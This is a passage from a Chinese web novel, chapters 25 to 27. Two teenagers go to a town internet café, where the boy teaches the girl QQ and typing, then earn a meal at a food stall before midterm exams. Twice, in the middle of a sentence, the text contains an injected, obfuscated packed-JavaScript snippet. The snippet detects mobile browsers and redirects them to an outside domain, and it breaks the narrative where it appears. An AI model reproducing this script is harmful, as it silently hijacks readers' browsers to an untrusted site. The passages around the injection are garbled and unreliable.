他们站在高墙深巷的夹隙里,青白色的阳光照不进黑暗的夹隙,只有穿堂风自南向北,像一只温柔的手,扬起他们的衣摆,抚平衣上褶皱,吹干由于奔跑而沁出的潮汗。 风一阵一阵,时而涌动,时而式微。 许思睿盯着她的脸。 他想,她明明这么平凡。 这么平凡,这么寡淡的一张脸,放在以前的学校,他根本不会留意,可在这里,他却被迫长久同她相处,被迫长久凝视她的五官,将平凡看成不平凡。她黑白分明的眼睛像永恒不变的真理,从寡淡里脱颖而出,浓烈如未添加任何水分稀释的墨。 看着看着,眼前忽然就模糊了。 墨块被少年的泪水稀释,流成两道潺潺墨痕。 他一边哭,一边深感丢脸。一丢脸,泪水越发控制不住,形成一个死循环。 来到这里三个星期,他在她面前丢的脸比前十四年加起来都多。 好在祝婴宁这回没有执着地问他“你哭了吗”之类的话,她就只是维持着伸手的动作,一言不发注视着他。 许思睿抹了抹眼睛,想到一个问题,同时也是为了转移注意力,他问:“你的梦想是什么?” 祝婴宁被他这个一百八十度大转弯的问题问得发懵,不过她还是正了色,将脚跟一并,胸一挺,气势恢宏地答:“我的梦想是成为一个对人民有贡献的人。” 许思睿便噗的一声笑了。 又哭又笑,他想自己现在的表情一定丑到了极点,还好这里没有相机,他捂着肚子,大声地笑。 一个人的笑声里有没有嘲讽意味,是很容易听出来的,许思睿大多数时候的笑都可以归结为嘲笑,当然也不乏皮笑肉不笑,但祝婴宁听得出来,这个笑不包含任何嘲笑意味。他在笑,便单纯只是在笑,就像吃饭只是吃饭,睡觉只是睡觉,天经地义,不必追寻其中的道理。 于是她也跟着笑了起来。 风起云涌,今天当是个好天气。 25. 网吧 祝婴宁走上前去扶被他踢倒的那一排单车,许思睿的脸皮还没有厚到能看着一个女生替自己收拾烂摊子还无动于衷,只好也走上前帮忙。 扶完以后,他脸上的眼泪也被风干得差不多了,撇过视线,别别扭扭道:“……不用去网吧了。” “没事,刚好我也很好奇网吧是什么样的。”她朝他笑了笑。 镇上唯一一家网吧开在羊肠街21号。 羊肠街,顾名思义是条弯弯曲曲的街道,那家名叫网乐的网吧坐落在街尾,外头不像许思睿见过的其他网吧那样花花绿绿,反而灰扑扑的,灯牌上落满灰尘,门口横七竖八停着几辆同样落满灰尘的摩托,给人一种再开两天就要结业倒闭的感觉。 “你确定你真的要进去?” 许思睿已经劝过祝婴宁好几回了,一是因为不好意思花她的钱给自己寻开心,二是因为网吧这种地方,在祝婴宁的观念里显然是不学无术的坏学生才会来的,对于即将踏入网吧这个行为,她表现得非常紧张,同手同脚走了一路,神情焦灼,惴惴不安,活像要去炸碉堡。 “确定、一定、以及肯定。”她很坚持。 她固执起来十头牛都拉不回,许思睿拿她没办法,只好跟在她身后走进去。 柜台后坐着个看不出年龄的男人,黑眼圈重得像鬼,他叼着烟翘着二郎腿在玩俄罗斯方块,听到祝婴宁喊他的声音,才掀起眼皮,看了他俩一眼,背台词一样说:“一小时两块,四小时六块,通宵十块。” 这价钱比祝婴宁想象的便宜,她舒了口气,从三块钱里抽出两块钱递过去:“一小时。” 那人看了看她,又看了看许思睿,略微不耐烦道:“两个人是四块。” “不,我们只要一台电脑,你给我们开一台电脑就好。”祝婴宁赶紧摆手解释,解释完怕自己说错话,还凑到许思睿身边,轻声问他,“可以这样的吗?” 许思睿点了点头,她这才安下心。 那人收下钱,随便指了下角落:“你们去那边。” 虽然这家网吧各方各面的配置都比不上他常去的那几家,但从流程到环境,大体还是相同的,许思睿以为自己会有回家的感觉,然而真正坐到了椅子上,打开开机键,看着电脑屏幕由黑转蓝,出现他最熟悉的windows标志时,他却发现自己并没有想象中那么兴奋。 ……难道他的网瘾真的戒掉了? 他有点怀疑人生,不信邪地拿起鼠标,在桌面上浏览了一会儿,点开了玩得比较顺手的DOTA。这家网吧的游戏版本都很老,连DOTA都是08年推出的6.67版本。他没什么干劲,干脆选了娱乐模式。 随机到的英雄是毒龙,还行,许思睿开了一盘,毫无疑问把对方压着打。 大获全胜依然没有带给他多少快感,他盯着结算界面,余光瞥向旁边的祝婴宁,发现她坐在和他隔了两个座位远的一把椅子上,正百无聊赖地玩着红塑料袋的提手,把它打成蝴蝶结又松开。 他叉掉DOTA的界面,本来想换个游戏继续玩玩,却看到了电脑桌面上的Q|Q图标。许思睿心念微动,朝祝婴宁招了招手:“过来。” 祝婴宁疑惑地看向他:“你在叫我?” “废话,这里除了你还有谁?”他没好气道。 她这才慢腾腾挪到他邻近的座位上,用眼神询问他怎么了。 他摸了摸脖子,有点不适应这种想要对一个人施放善意的场面,别扭地解释说:“你那个朋友不是给了你一串Q|Q号吗?你看这儿,这只企鹅就是Q|Q。”一边说一边用鼠标在图标上晃了晃。 她无精打采的眼睛霎时间如同燃亮的烟火,闪闪发光,手指追着鼠标点上桌面上的Q|Q图标,兴奋地看向他,连语调也不自觉高了几个度:“真的呀?这只戴红围巾的企鹅就是?” 看到她因为这么点事就这么高兴,许思睿更不自然了,低低嗯了一声,把座椅朝左边挪了挪,说:“你坐过来点吧,我教你注册Q|Q号。” “好啊好啊!”她忙不迭搬着椅子凑了过来,过了一会,想起什么,又问,“你不玩游戏了?要不你先玩游戏吧……” “游戏有的是机会玩。” 他抬抬下巴,点开图标,向她介绍注册流程。 2010年的Q|Q注册还不需要绑定手机号或者身份证,他们很轻松就弄了个Q|Q号出来。 祝婴宁在添加好友那一栏一顿一顿输入祝娟的号码,由于太过激动,她输错了很多次,烂熟于心的九位数号码硬生生输了两分钟才输完。换成平时许思睿早就甩身走人了,他也不知道自己今天哪来的耐心,竟然耐着性子看她反反复复输入又删除,同那几个数字键盘和Delete键搏斗得难解难分。 好友申请信息成功发送的时候,祝婴宁连手指都在颤抖。 “至于这么夸张么?” 她抱歉地傻笑两声,迫不及待追问:“那她现在是我好友了吗?我可以和她聊天了?” “没那么快,还得等她同意。” “她什么时候能同意?” “我怎么知道,得看她什么时候有空上线。” “哦……” 她瞬间霜打的茄子般低落了下去。 许思睿看了她几眼,点开Q|Q空间:“我给你申请只宠物。” “宠物?那是什么?” 祝婴宁什么都不懂,他只好事无巨细向她科普,从Q|Q宠物讲到Q|Q农场再讲到Q|Q飞车,讲得他唾沫横飞,差点一口气倒不过来把自己憋死,她才似懂非懂点了点头,问他:“你能全部给我演示一遍吗?” 要是一个月前,有人告诉许思睿“你去网吧是为了玩Q|Q企鹅和Q|Q农场”,他绝对认为这人脑子有毛病。但一个月后的现在,他却坐在网吧里,手把手向人演示如何给Q|Q企鹅喂食,以及如何经营规划自己的农场,甚至还像个慈祥和蔼的老师一样,在祝婴宁笨拙地移动鼠标,成功接住企鹅拍来的皮球后,欣慰地鼓励道:“对对对!就是这样。” 他还教了她如何玩空间的漂流瓶。 祝婴宁对这个随机接收陌生人漂流瓶的游戏非常感兴趣,但许思睿很快就发现了她的问题—— 她不会打字。 回答漂流瓶里的问题时,她都是拿右手食指在键盘上温吞吞地戳来戳去,每个字母都要找上半天,速度慢得倍显辛酸。 许思睿看得抓狂,把她的食指拿开,叹气道:“我先教你打字吧。” 电脑桌面上居然还真有个金山打字通,点开金山打字通时,许思睿深刻怀疑了一下自己,居然花两块钱来网吧玩打字游戏,他真的没病吗? 但是旁边的祝婴宁显得非常开心,就像一个从没吃过糖的小孩得到了人生第一颗糖果,他想了想,一巴掌把自己的犹疑拍开了。 金山打字通里有好几种打字游戏可供选择,拯救苹果、激流勇进、生死时速……许思睿选了个最简单的拯救苹果,先教给她最基础的打字姿势——把左手食指放在F键上,右手食指则放在J键上。 “哦哦哦!我完全懂了。”她兴奋地摆好姿势。 许思睿调了个最低的速度给她玩,交代她看到哪个苹果快落地了,就按苹果上对应的字母。 她使劲点了点头。 “你慢慢玩吧,我去外面透口气。”他交代完就出去了。 其实外面也没啥好玩的,许思睿在外头转了一圈,呼吸了一会儿新鲜空气,觉得无聊得发慌,于是又回去了,顺带看看她玩得怎么样。 这一看差点没把他雷死。 他已经调了最低的难度给她,但祝婴宁还是跟个有老花眼的老太太似的,一会儿把鼻尖怼到屏幕上,一会儿把鼻尖怼到键盘上,眯着眼睛,嘴里念念有词:“g……g……g……” 明明g就在她左手食指边,可她就是没看到,眼见着苹果快要落地了,她一着急,瞬间把他教给她的姿势忘得精光,又恢复成用一根食指数着键盘的姿势,从左上角标点符号和数字那一栏慢吞吞往下找。 “你看数字干嘛,找字母啊。”许思睿没忍住出了声。 她哦了一声,手忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543198|171080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脚乱去数右边的小键盘。 “……那也是数字!”他眼角抽了抽,把她的手指掰回键盘中央,“字母在这三行,看准了,别乱找,还有记得我教你的姿势,别用一根手指在这数来数去,你打算数到明年啊?” 祝婴宁被他念叨得越发慌张,随口回了句:“我知道,你不要催我,你越催我越乱。” 许思睿只好忍着焦躁收回手。 含g的苹果早就在这番折腾中落地了,她重新找了个苹果,嘴里一径念叨着:“j……j……j……”又开始了漫长的搜寻。 许思睿在一旁看得又气又好笑,见苹果又要落地了,她还是没找到,下意识提醒道:“在你右手食指下面。” 她这才赶在苹果落地前成功按下了字母j。 “又是ggg又是jjj的,你是母鸡啊祝婴宁?”他实在没忍住吐槽了一句。 祝婴宁回过头,气恼地瞪着他。 “别瞪我了,你苹果又要掉了。”他哼笑着提醒她。 她连忙转回去,继续她那老太太似的搜寻。 许思睿站在她背后看着,眼见着那苹果一个个往下砸,他越看越心急,真没见过有人能把最低难度的打字游戏玩成这样的,看到最后,他忍不住啧了一声,倾身上前,手指翻飞,干脆利落帮她按掉了三个即将落地的苹果。 谁知道这人不识好人心,竟然尖叫一声,涨红脸颊,气急败坏地数落他:“许思睿你怎么能这样?!你帮我按掉了,我还怎么锻炼自己?” “操。”他也火了,“我是在帮你!你玩得这么菜还不许人帮了?” “谁要你帮了?再说我哪里菜了?我不信你刚玩的时候能比我好多少——喂!你干嘛呢许思睿!!” 她说话的时候,许思睿幼稚鬼上身,飞速把屏幕上所有苹果都按掉了,气得祝婴宁简直要吐血。她打开他的手,使劲把他朝后一推。 许思睿被她推得一趔趄,他长这么大还是第一次被人这样推开,愣了一会,有种好心被当驴肝肺的感觉,越想越气,干脆伸长手,手起刀落,飞快把拯救苹果调成了最难的模式。祝婴宁被他幼稚得目瞪口呆,想去夺鼠标,鼠标却被他一把拿走了,不仅如此,他还一屁股挤到了她的椅子上,把键盘也抢了过去,劈里啪啦炫技一样灭了一大堆苹果,差点把她挤到地上。 “你……!” 祝婴宁一手去扳他胳膊,一手去够键盘,不甘心地也灭了几个苹果。 两个人跟幼儿园小朋友一样,一边扭打,一边争先恐后去按键盘。好端端的一个打字游戏被他们玩得像世界大战,又是骂人又是吵闹又是尖叫。 别说,这样还真有奇效。祝婴宁感觉自己就像打通了任督二脉一样,眼睛不花了,头脑也不迷糊了,记忆力突然变得空前的好,那些原本难以分清位置的字母忽然变得清晰可辨。为了挤开许思睿,她的反应速度越来越快,下手也越来越准,好几次和他同时戳到一个按键上,指腹戳着他的指甲重重一碾,把他疼得一阵痛嚎。 柜台后的网吧老板对此见怪不怪,玩游戏嘛,情绪激动多正常,打起来也正常,之前还有几个黄毛在这玩到情绪失控,差点拿刀互捅。 他连头都没有抬一下,继续气定神闲地玩着他的俄罗斯方块。 在混乱的背景音里,老板锲而不舍,终于如愿拿到了自己的目标分数。他放下手机,舒展筋骨,抬头一看,见这两人玩得都要超时了,于是缓缓踱步过去赶人。 站到他们身后时,他下意识朝屏幕上瞟了一眼,想看他们玩什么玩得这么激动,居然连脸颊都争得红扑扑的。 星际争霸?魔兽世界?穿越火线? 都不是。 屏幕上赫然显示着金山打字通的界面。 “……” “……” “……” 祝婴宁和许思睿也通过电脑屏幕的反光看到了身后的老板,两人瞬间老实了。 在一阵诡异的静默后,祝婴宁拎起一旁的红色塑料袋,许思睿埋着头,两人一前一后,灰溜溜地逃出了网吧。 26. 这一天 从网吧出来后,他们干走了一段路,许思睿忽然开口道:“我饿了。” 被他这么一说,祝婴宁也觉得肚子饿得发慌。现在已经十一点多了,确实到了饭点,她从兜里摸出仅剩的一元钱,想了想,提议道:“我们去吃沙县吧。” 许思睿嘴上应着“都可以”,眼睛却诚实地瞟向了沙县旁的大排档。 大排档的价格可不是一元钱能支付得起的,祝婴宁狠了狠心,还是带头走进了沙县。 沙县的墙上就挂着红底白字的价格表,她走进去看了一下,又带头走了出来。 没办法,是她想得太乐观了,一元钱甚至连沙县也吃不起,顶多只能买份拌面两个人分着吃,还不如去集市那边买两张饼。 听到又要吃饼,许思睿脸都绿了。 来到山里以后几乎顿顿都是碳水化合物,他每天都晕碳晕得要死不活,好不容易来趟镇上,以为能吃顿肉改善伙食,结果居然又要吃饼。然而他也知道巧妇难为无米之炊,祝婴宁手头只有一块钱,除了吃饼别无他法。 正郁闷着,手腕上的手表忽然反射着日光闪了一下,许思睿福至心灵,一把将前头的祝婴宁拎回来,对她说:“去吃大排档。”说完便带头走在了前方。 “啊?”祝婴宁怀疑他饿傻了,追上去道,“你知道大排档多贵吗?” 正说着话,大排档便到了。 许思睿径直走进去,跟个暴发户似的,将手腕上的手表撸下来,豪情万丈往收银台上一拍,对一脸懵逼的收银员说:“把你们老板叫出来。” 收银员用看神经病的眼神看着他,可能是怕该神经病闹事,还是扭身朝后头喊了句:“老板,有人找——” 老板很快从后厨出来了,穿着件老头背心,粗声粗气问:“啥事?” 收银员一指许思睿,许思睿拿起桌上的手表,朝他晃了晃,说:“认得这手表吗?OMEGA,欧米茄超霸系列,瑞士产的,十二万。我把手表押在你们这,你们让我们吃顿饭,等以后我有钱了再把手表赎回来。” 话音落地,现场鸦雀无声,不仅收银员仍然用看神经病的眼神看着他,连老板也露出了相同的眼神。 他们在这开店多年,还是头一回见到一个小屁孩自称用欧米茄手表,还要把价值十二万的手表押在他们这,就为了吃顿饭。这番话不管怎么看都匪夷所思到了极点,不像是正常人能说出来的。 他们不信,祝婴宁却不得不信。听到他平常随意戴在手腕上的手表竟然值十二万后,她从天灵盖到脚后跟都麻了一瞬,像被雷电劈中一样。好不容易缓过来,她迅速冲上前,把许思睿的手表薅下来,塞回他的裤兜里,朝老板假惺惺一笑:“哈哈,哈哈……老板,他脑子有点问题,你们不要理他。” “?” 许思睿眉一竖,正要发飙,祝婴宁就抢过了他的话头,急道:“其实我们是想跟你商量,你能不能让我们吃顿饭,我们手头钱有点紧,不过……”她看了看店里,发现店里用餐的客人很少,说明老板并不需要人手帮忙洗碗,又见一旁的冷冻柜里摆着一捆烧烤竹签,可见烧烤才是他们营业额的主要来源,灵光一闪,说道,“我们可以帮你串肉。” “串什么肉?”许思睿在一旁不解地问,祝婴宁赶紧拍了他一下,示意他先闭嘴。 老板狐疑地打量着他们,摇头拒绝:“我有人手,不用你们帮忙。” “我们不要工资,只要吃顿饭就行了。”祝婴宁据理力争,“而且我们吃的也不多,你炒盘肉给我们就可以,猪肉或者鸡肉,什么肉都行,我们不挑。还有……你听说过这段时间山里来了个综艺剧组吗?” 说到最后一句的时候,老板总算露出了若有所思的表情,祝婴宁赶紧趁热打铁:“你看我旁边这个人,他就是剧组的拍摄对象,你瞧,他不管是长相还是穿衣打扮都跟我们不一样吧?你让我们吃顿饭,过后他会在剧组面前帮你们餐馆说好话的,你想想啊,到时综艺播出到千家万户,全国人都会收看节目,不就相当于你们在全国观众面前打广告了么,多划得来呀。” 别说,山里来了个综艺摄制组的事,早在很久前就传得沸沸扬扬,而且一小时前还真有两个摄影师过来他们这里打听,问有没有看到一男一女一高一矮两个小孩,老板将他们描述的特征与眼前这两人一对,还真对上了。而且也确实如祝婴宁所说的,许思睿从长相到气质都和这里的人不一样,他琢磨了片刻,点头道:“行吧,你们先进来。” 祝婴宁握拳yes了一声,喜滋滋跟了进去,许思睿却有些不满,撇着嘴嘟囔道:“让我把手表抵在这不就完了?现在还得干活,真麻烦。” 祝婴宁对他的消费观不敢苟同:“十二万吃顿大排档?有钱也不是这么花的。你不能保证人人都是好人,万一老板收了手表,不愿意还你了呢,你有证据能证明你的手表抵在他那吗?况且,干活也没什么不好,靠自己的劳动吃饭才是天经地义的事。” 老板倒是不算小气,虽然祝婴宁嘴上说只需要给他们点肉就好,他却端出了三盘菜,都是荤菜——宫保鸡丁、青椒炒肉、鱼香肉丝——还给了他们一人一碗白米饭。 这边祝婴宁还在道谢,那边许思睿已经如狼似虎地开动了。 本来他觉得自己已经很好地适应了村里那种不是饼就是馍、不是白菜就是野菜、不是鸡蛋就是腊肉的吃法,可真正尝到新鲜多样的饭菜后,才发现自己的味蕾并没有被驯化。明明是这么普通的三盘荤菜,吃在他嘴里却有如珍馐,比从前在城市里吃到的大鱼大肉还要美味。 祝婴宁见许思睿完全没有要让着她的打算,大有要独占这一桌的架势,只好也拆开筷子吃了起来。 虽然都是相隔许久改善伙食,她的心态却和许思睿完全不一样。他习惯了燕窝鱼翅之流,宫保鸡丁吃进嘴里,自然不会有任何负疚感。可祝婴宁不是。她很少有机会吃这些菜,不知道为什么,心里沉甸甸的,像压着块石头,总有股挥之不去的罪恶感,觉得对不起家人。 她们在家里吃素饼,她却在这里吃荤腥。 有心想打包点带回家,让奶奶和阿妈尝尝,但许思睿仿如饿死鬼投胎的模样又让她开不了口。 怀着心事,她勉强吃了个七分饱,就没心思再吃了,将筷子放下,托着下巴看许思睿风卷残云。 别说,他虽然吃得快,吃相却相当好。嚼东西的时候习惯闭着嘴巴,不仅没有吧唧嘴的声音,连咀嚼音都很小。 他大口吃饭并且毫无负担的样子有一瞬间让她由衷感到羡慕。 迅速解决了这一桌子菜,许思睿放下碗筷,用餐巾纸矜持地抹了抹嘴,半响,忽然蹦出一句:“爽。” “?” 祝婴宁没憋住笑了。 他自己也觉得自己这副活像饿了八百年的模样十分夸张,于是也跟着笑了起来。 龇着牙齿傻乐了半天,直到老板走过来,问他们:“吃完了?”他们才一秒收起笑,悻悻站起来,跟着他走去后厨。 许思睿吃饱喝足,懒劲儿就上来了,嘴里不住抱怨:“早知道把手表给他得了,哪有人吃饱饭还干活的?” 好吃懒做这个词简直像是为他量身定做的,祝婴宁白了他一眼,上前问老板具体要怎么操作。 老板没有为难他们,指着盛在大铁盘子里的各色素菜:“你们把这些串上就好,旁边有串好的作为参考。” 祝婴宁知道串素菜比串肉容易,肉有筋,难使力,老板已经尽量给他们派了简单的活,于是诚恳地道了谢,干劲十足地将铁盘放到地上,又找来两个矮脚板凳,把其中一个分给许思睿,自己率先坐了下来。 正要动手,许思睿就问:“有手套吗?” 老板愣了下,摸了摸后脑勺,从柜子里翻出几片薄薄的塑料手套:“这种?” “也行。” 许思睿接过来,分了两片给祝婴宁,自己也戴上了,在她对面坐了下来。 串素菜没什么技术含量,韭菜和豆腐干都好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543199|171080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解决,唯一比较麻烦的是玉米。老板要求他们把玉米掰成粒,一粒粒串上去。 许思睿内心怨声载道,却也知道这顿饭是自己吃得多,不好只让祝婴宁一个人忙活,于是蜷起长手长脚,费劲儿扒拉地掰起玉米。 干活干到一半,祝婴宁忽然开口说:“待会干完活我请你吃蜜。” 他愣了愣,用质疑的眼神上下扫着她,哼道:“吹吧你。” 野生蜂蜜有多贵,她怎么可能请得起?许思睿一点都不信。 ** 结果,祝婴宁还真没骗他。 只是这“蜜”和他想象的不大一样。 他们干完活走出大排档的门,她带着他来到小镇外沿靠近山路的地方,从路边草丛里择了几朵红色的花,将长长的花芯抽出来,递了一支给他。 “这是什么?”许思睿接过来,左右旋转着看了看。 “一串红,一种花。”她自己咬了支在嘴里,含糊不清地说,“甜的,可以吃。” “……不脏吗?”他有点过不了心里那关。 祝婴宁笑了笑:“藏在花瓣里的,哪那么容易脏。”说完也不再劝他,自己又抽了几支含在嘴里。 看她吃得毫无负担,许思睿纠结了一会,还是试着张开了嘴。 花芯入口凉丝丝的,泛着一股甜意,咬了咬,花蜜沁出,甜香四溢。他惊奇地扬了扬眉,学着她的样子俯身摘了几朵,将花芯抽出来,逐一尝过去,发现都是甜的。 “好玩吧?” 她跳进草丛里,头也不回地说,“还有一种花也可以吃,我们管它叫地黄,你等我找找。” 地黄虽然叫地黄,花瓣却是紫红色的,只有内部是黄的。它的花瓣长满细小绒毛,很好分辨。祝婴宁摘了一朵大的扔给他:“地黄没有可以抽出来的花芯,你把嘴唇对着中间嗦就行了,可以嗦出甜味。” 他把花瓣掰开,确保里面没有蚂蚁之类的昆虫,才将嘴唇对准花心,小心翼翼嘬了两口。 果然很甜。 ** 摄影师找到他们的时候,他们正在玩摔炮,这还要归功于祝婴宁高超的社交能力,她看到有个小孩揣着盒摔炮在玩,主动拿手头的地黄和他换了半盒,转头拿给许思睿,说给他解闷儿。 许思睿一开始嫌这东西幼稚,嘴上说着“又不是小学生,谁想玩这玩意”,结果没一会就玩得不亦乐乎,还把她骗到一丛蒲公英前,用摔炮炸了她满脸的蒲公英飞絮。 摄影师逮着他们后当场就把他们训了一顿,祝婴宁垂着头默然挨训,许思睿则一脸不爽,还故意朝摄影师脚下丢了枚摔炮,跟个心理年龄只有三岁的问题儿童似的。 回程路远,他们不得不赶在天黑前启程。 离开前,祝婴宁又同许思睿确认了一遍:“你真的不打电话吗?下次来可就是一个月后的事了。” 提起这个,许思睿的脸色又变得不大好:“都说了不打,别问了。” 说不定他爸他妈正在和祝吉祥上演父慈子孝母慈子孝呢,压根没记起他,他打过去干嘛?自取其辱?给自己找不痛快? 牛车悠悠往村里走。 许思睿望着暮色四合的山路,心情一时颇为微妙。 在他的设想里,这趟来镇上,他应该打电话给周天澜认错求情,然后周天澜派人来接他回家,他再也不用回到祝家村,也不用再坐上回程的牛车。可惜事与愿违,一切都与他的期望背道而驰,他既没有打上电话,也没有顺利摆脱牛车的纠缠,按理来说,他的心情应当很糟才对。 可是怪就怪在这里。 他的心情竟然没有想象中那么糟。 这要归功于谁不言而喻,许思睿看向牛背上赶车的祝婴宁,忽然意识到,来镇上也许并不只是他一个人翘首以盼的事,也是她忙于农活的日子里难得的休憩。 玩乐结束后,她又要一头扎到山里,帮刘桂芳分担永远也分担不完的家务,当一个连轴转也不觉得累的高精力铁人。 27. 期中考试 日子悄然逝去,新的一周开始,陈斌在班会课上宣布本周周四周五将要举行期中考。 班上瞬间哀声四起,大家纷纷拖着嗓音抱怨: “太突然了吧老师!” “就不能晚几天吗?” “我都还没开始复习。” “安静——!”陈斌没什么威严地敲着黑板,“平时不好好听,现在知道着急了?这几天我和其他老师会在课上给你们总结重点,没复习的更要给我打起十二分精神。” 班上学生的反应倒是和许思睿从前的班级差不多,他觉得有点好笑,看来没有任何学生喜欢考试,这点倒是不分地区。 仔细想想,这个时间段,他以前的学校也差不多要举行期中考了,正暗自琢磨着,就听祝婴宁在他旁边轻声嘀咕道:“我想出办法了。” 他斜了她一眼:“什么办法?和老师抗议期中考?” “怎么可能!”她举起一个小本子,在他面前晃了晃,挡着嘴唇凑到他耳边,神神秘秘地说,“你忘了吗?之前不是有几个女生给你写……我想出解决办法了。” 许思睿没想到她居然还惦记着这件事,嗤了一声,随手接过她手里的本子,粗略浏览起来。 只见上面一板一眼写着: -你是一个优秀的女孩儿,很高兴得到你的赏识与肯定,青春期对异性萌发朦胧之情很正常,但我们都还小,现阶段应以学习为重。梁启超曾说过,少年强则国强,少年富则国富,少年独立则国独立。我们肩负着祖国的希望,更应该在合适的阶段做合适的事,未来等待你的还有无限可能。 ……什么乱七八糟的。 他被雷得外焦里嫩,只看了几行就看不下去了,把本子丢还给她。 夸对方是优秀的女孩就算了,虽然矫情肉麻,好歹还在情理之内,“少年强则国强”是什么鬼??主旋律作文?光是想象自己像个五十岁老干部一样背着双手老气横秋朝别人念出这些话,他都要掉鸡皮疙瘩。 “这是回信。”祝婴宁完全没发现不对,头头是道地讲解,“你按我写的抄一遍,再把信拿给她们,我想她们一定就能安心学习了。” “……” 许思睿并不觉得其他女生的思维也像她这么诡异和刁钻。要是真的按她写的回复别人,他绝对会成为多年以后被人翻出来反复鞭尸嘲笑的奇葩。为了杜绝这种可能,他只好含糊其辞拒绝道:“不用。” 未免她追问,他随口扯谎:“我已经回复过她们了。” “真的吗?什么时候的事?”她吃了一惊,表情有些紧张,压低声音问,“你是怎么回复的,没有骂人吧?你有好好跟她们沟通吗?没人被你骂哭吧?” “……我哪有这么歹毒?”他继续扯,“我就……反正我就鼓励她们好好学习,和你写的这段话意思差不多。” 实际上他连那几个表白的女生长什么样都已经记不清了。 还好旁边这个笨蛋人傻好骗,听完总算满意地点了点头:“那就好。” ** 期中考来势汹汹,最近这几天,祝婴宁入睡的时间越来越晚。许思睿每次躺下睡觉前都能隔着帘子看到书桌位置亮着的台灯光。 说台灯其实不太准确,那就是个小灯泡,怕灯光闪到家人,影响家人睡觉,祝婴宁特意在灯泡外罩了几层草稿纸。天气热了,亮光不可避免会吸引趋光性昆虫,草稿纸的间隙里常常能发现小飞蚊的尸体。 她学习时很安静,除了偶尔的翻书声,许思睿听不到其他杂音。 要是放在从前,临近期中考这段时间,他多半也会像她一样用功。虽然许思睿对学习始终保持着长期摆烂的态度——他不爱按部就班写作业,顶多从作业堆里挑一些他觉得有价值的难题练练手——但他并不否认考前复习的重要性,相反,他一直觉得自己能维持好成绩就是得益于考前高强度高效率复习。 不过现在情况特殊。 山里的教育资源落后大城市许多,来到这里将近一个月,老师讲授的内容都是他初一在课外辅导班就学过的。他完全不觉得这个期中考试有浪费他时间特意去备考的必要。 祝婴宁劝过他几回,让他好好复习,他都无视了。 她自己也分身乏术,索性不再管他。 就这么数着日子捱到了考试这天。 当天步行去上学时,祝婴宁拿着个笔记本一边走一边背得如痴如醉,好几次被路上石子绊得差点摔倒。许思睿觉得她复习到这个地步很夸张,问她至于么:“你留个清醒的脑子去考试说不定能考得更好。” 她却说:“你不懂,我不能比从前的我退步。” “你上次考了多少?” “第一。” 许思睿哟了一声,调侃地挑了挑眉。 到了学校,学校里也充溢着考试前紧张的氛围。 大家搬动桌椅收拾书包的时候,陈斌特意走过来拍了拍许思睿的肩膀,反复叮咛:“好好考啊你,起码把试卷都做完。” 来到这里的一个月,大大小小测试不断,然而除了最先那次数学测试,许思睿没有一次是把试卷从头到尾做完的——他嫌题目太简单了。不过这个理由没有对其他人说过,所以陈斌和祝婴宁都只以为他不做试卷是因为不爱学习。 开考前几分钟,祝婴宁来到他身边,说了和陈斌一模一样的话:“许思睿,期中考是大考,你要好好考啊,起码得把试卷做完。” “知道了。”他挥了挥手,嫌她啰嗦。 轻重急缓许思睿还是能分清的,虽然他看不起这里的教学水平,但也希望有场大考能检验自己最近这段时间是否有退步。 所以期中考这两天,他破天荒把几场考试都熬了下来。 考试结束,班上学生回家的回家,校对答案的校对答案,打扫卫生的打扫卫生,许思睿本来以为祝婴宁也会在校对答案的行列,她却朝他走过来,慈母一般,欣慰地说:“你竟然坚持下来了!许思睿,你太了不起了。” “?” 周围学生纷纷投来微妙的视线,许思睿脸一红,不明白自己在她心里究竟是个什么形象,有注意缺陷多动障碍的问题少年?连两天的期中考都坚持不下来那种?他恼怒地转移话题:“别废话了,你不是说你今晚有事吗?” “哦,对。” 祝婴宁赶紧翻开她那个随身携带的日程本。 这次期中考班上有个男同学缺考,没有交代缘由。陈斌要改试卷,脱不开身,嘱托祝婴宁考完试去他家走访一趟,问问原因,看能否帮上忙。 男同学叫顾辉,所住的村子就坐落于他们从学校回祝家村的必经之路上,算是祝家村的邻村。到了地方,祝婴宁停下脚步,问许思睿是自己先回家,还是和她一起去看看。 许思睿没有拯救他人的闲情逸致,但也不想回去和刘桂芳独处,或者回去面对杨吉的大脸。《卡拉马佐夫兄弟》倒是没看完,可以用来打发时间,但这几天忙于考试,他没有怎么看,人物和情节都忘得差不多了,估计又得从头看起。他想了想,觉得跟着祝婴宁去献爱心说不定还好玩些。 正想进村,祝婴宁却拦住了他和摄影师,不自然地笑道:“……我们不走正门进去。” 摄影师奇道:“不走正门,那走哪?” “旁边有条小路。” 她带领他们从小路偷偷摸摸拐过去,在许思睿纳闷地问她为什么非要走小路,不走正门时,欲盖弥彰地掩饰道:“因为……因为一些原因。” 说了等于没说。 他们走进去时,顾辉正好出来倒洗碗水,看到他们,愣了一下。 祝婴宁走上前,率先阐明来意:“顾辉,你没来参加期中考,陈老师派我过来关心一下你。” 他平时在班上就比较闷,腼腆,话少,闻言轻轻哦了一声,将他们让进来,只在看到摄影师也要跟进来时说了句:“我不想被相机拍。” 摄影师只好留在门外。 许思睿跟在祝婴宁后头走了进去。他发现顾辉扫了他几眼,几度欲言又止,显然也不太想让他进来,但他对此视若无睹,大摇大摆走进了屋里。 